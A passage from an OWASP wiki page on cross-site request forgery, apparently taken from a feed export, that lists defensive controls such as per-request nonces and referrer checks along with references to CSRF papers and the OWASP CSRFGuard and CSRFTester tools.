==Related [[Controls]]==&lt;br /&gt;
* Add a per-request nonce to URL and all forms in addition to the standard session. This is also referred to as &amp;quot;form keys&amp;quot;. Many frameworks (ex, Drupal.org 4.7.4+) either have or are starting to include this type of protection &amp;quot;built-in&amp;quot; to every form so the programmer does not need to code this protection manually. &lt;br /&gt;
* TBD: Add a per-session nonce to URL and all forms&lt;br /&gt;
* TBD: Add a hash(session id, function name, server-side secret) to URL and all forms&lt;br /&gt;
* TBD: .NET - add session identifier to ViewState with MAC&lt;br /&gt;
* Checking HTTP referrer details will prevent CSRF attacks. By ensuring the HTTP request have come from the original site means that the attacks from other sites will not function.  It is very common to see this method of protection used on embedded network hardware due to memory limitations.  XSS can be used to bypass both referrer and token based checks simultaneously.  For instance the Sammy Worm used an XHR to obtain the CSRF token to forge requests.&lt;br /&gt;
* &amp;quot;Although cross-site request forgery is fundamentally a problem with the web application, not the user, users can help protect their accounts at poorly designed sites by logging off the site before visiting another, or clearing their browser's cookies at the end of each browser session.&amp;quot; -http://en.wikipedia.org/wiki/Cross-site_request_forgery#_note-1&lt;br /&gt;
* [[Tokenizing]]&lt;br /&gt;
&lt;br /&gt;
==References==&lt;br /&gt;
* [http://www.cgisecurity.com/articles/csrf-faq.shtml The Cross-Site Request Forgery (CSRF/XSRF) FAQ]&lt;br /&gt;
: ''quote: &amp;quot;This paper serves as a living document for Cross-Site Request Forgery issues. This document will serve as a repository of information from existing papers, talks, and mailing list postings and will be updated as new information is discovered.&amp;quot;''&lt;br /&gt;
&lt;br /&gt;
* [[Testing for CSRF (OWASP-SM-005)|Testing for CSRF]]&lt;br /&gt;
: CSRF (aka Session riding) paper from the OWASP Testing Guide project (need to integrate)&lt;br /&gt;
&lt;br /&gt;
* [http://www.darkreading.com/document.asp?doc_id=107651&amp;amp;WT.svl=news1_2 CSRF Vulnerability: A 'Sleeping Giant']&lt;br /&gt;
: Overview Paper&lt;br /&gt;
&lt;br /&gt;
* [http://www.owasp.org/index.php/Image:RequestRodeo-MartinJohns.pdf Client Side Protection against Session Riding]&lt;br /&gt;
: Martin Johns and Justus Winter's interesting paper and presentation for the 4th OWASP AppSec Conference which described potential techniques that browsers could adopt to automatically provide CSRF protection - [http://www.owasp.org/index.php/Image:RequestRodeo-MartinJohns.pdf PDF paper]&lt;br /&gt;
&lt;br /&gt;
* [[:Category:OWASP_CSRFGuard_Project|OWASP CSRF Guard]]&lt;br /&gt;
: J2EE, .NET, and PHP Filters which append a unique request token to each form and link in the HTML response in order to provide universal coverage against CSRF throughout your entire application.&lt;br /&gt;
&lt;br /&gt;
* [[:Category:OWASP CSRFTester Project|OWASP CSRF Tester]]&lt;br /&gt;
: The OWASP CSRFTester gives developers the ability to test their applications for CSRF flaws.&lt;br /&gt;
&lt;br /&gt;
[[Category:Exploitation of Authentication]]&lt;br /&gt;
[[Category:Embedded Malicious Code]]&lt;br /&gt;
[[Category:Spoofing]]&lt;br /&gt;
[[Category: Attack]]&lt;/div&gt;</summary>
		<author><name>Michael Brooks</name></author>	</entry>

	</feed>